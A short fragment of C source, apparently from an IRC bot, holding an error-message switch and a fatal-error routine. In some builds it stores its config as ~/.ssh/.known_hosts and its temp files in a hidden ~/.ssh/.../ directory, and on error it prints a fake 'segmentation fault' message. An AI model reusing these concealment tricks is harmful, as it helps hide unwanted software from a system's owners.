  2393. return STR("Cannot chmod() config (./conf)");
  2394. #endif /* LEAF */
  2395. case ERR_TMPMOD:
  2396. #ifdef LEAF
  2397. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  2398. #else
  2399. return STR("Cannot chmod() tmp directory (./tmp)");
  2400. #endif /* LEAF */
  2401. case ERR_NOCONF:
  2402. #ifdef LEAF
  2403. return STR("The local config is missing (~/.ssh/.known_hosts)");
  2404. #else
  2405. return STR("The local config is missing (./conf)");
  2406. #endif /* LEAF */
  2407. case ERR_CONFBADENC:
  2408. return STR("Encryption in config is wrong/corrupt");
  2409. case ERR_WRONGUID:
  2410. return STR("UID in conf does not match getuid()");
  2411. case ERR_WRONGUNAME:
  2412. return STR("Uname in conf does not match uname()");
  2413. case ERR_BADCONF:
  2414. return STR("Config file is incomplete");
  2415. default:
  2416. return STR("Unforseen error");
  2417. }
  2418. }
  2419. void werr(int errnum)
  2420. {
  2421. putlog(LOG_MISC, "*", "error #%d", errnum);
  2422. sdprintf("error translates to: %s", werr_tostr(errnum));
  2423. printf("(segmentation fault)\n");
  2424. fatal("", 0);
  2425. }